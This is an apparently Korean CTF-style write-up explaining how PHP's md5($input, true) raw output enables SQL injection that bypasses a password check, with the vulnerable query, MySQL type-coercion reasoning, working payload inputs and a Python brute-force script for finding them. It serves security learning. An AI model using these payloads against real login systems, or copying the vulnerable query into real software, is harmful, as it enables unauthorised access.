1 분 소요

문제

PHP md5

  • md5 해시화를 이용하여 sql injection 공격을 시도할 수 있다.

분석

  • php 의 md5 기능을 이용하여 사용자의 입력을 해시화 한다.
  • 해시화 한 값을 이용하여 password 와 비교한다.
select * from admin_password where password='".md5($ps,true)."'
  • md5(입력,true) : 16자리의 바이너리를 반환한다.
  • md5(입력,flase) : 32 문자열 16진수를 반환한다.

공격

방법 1 : or

  • or 을 이용하여 password 인증을 우회해보자.
  • 사용자의 입력을 md5 해시화를 진행하여 완성된 값에 'or' 이 존재하면 된다.
md5(입력,true)= aaa'or'bbb

select * from admin_password where password='aaa'or'bbb'
  • or 앞 부분이 False 여도 뒷 부분이 true 이기 때문에 비밀번호 인증 우회가 가능하다.

  • sql injection 공격 payload.

129581926211651571912466741651878684928

md5 = �T0D��o#��'or'8

방법 2 : =

  • = 을 이용하여 password 인증을 우회해보자.
  • 사용자의 입력을 md5 해시화를 진행하여 완성된 값에 '='문자 이 존재하면 된다.
md5(입력,true) = asdfaskd'='asdf

select * from admin_password where password='asdfaskd'='asdf'
  • 원리
where password='asdfaskd'='asdf'

는 먼저 앞 부분을 비교한다.

where (password='asdfaskd')='asdf'

where false='asdf' 

여기서 mysql false 의 타입은 tinyint 이고 값은 0 이다.
'asdf' 타입을 SIGNED 즉 int 형으로 바꿔서 비교를 진행한다.

따라서 비교하는 값은 다음과 같다.

where 0=0
  • 직접 확인하기.
select false='123';
출력 = 0

select false='aaaa';
출력 = 1
  • 여기서 주의해야 할 점이 있는데 '123adfsf' 와 같은 형태를 int 형으로 타입 변환하면 123 으로 변환되는 것을 확인할 수 있다.
select cast('123asdf' as SIGNED);
출력 = 123
  • sql injection 공격 payload.
98750788
md5 = n�A�nI�^���h'='

하지만 다음 값은 실패한다.
38106544
md5 = &�p'='63@-��

왜냐하면
1. select * from admin_password where password='&�p'='63@-��'
2. select * from admin_password where false='63@-��'
3. select * from admin_password where false=63
4. select * from admin_password where 0=63

0과 63을 비교하는 형태가 되기 때문이다.

평문 값 찾기

  • python 을 이용하여 '=' 값이 들어가는 평문 값을 쉽게 찾아줄 수 있다.
from hashlib import md5

key1 = b"'='"
key2 = b"'or'"
for i in range(100_000_000):
    e = md5(str(i).encode()).digest()
    if key1 in e:
        print(f'{key1} : {i} {e}')
    elif key2 in e:
        print(f'{key2} : {i} {e}')

참고 사이트

댓글남기기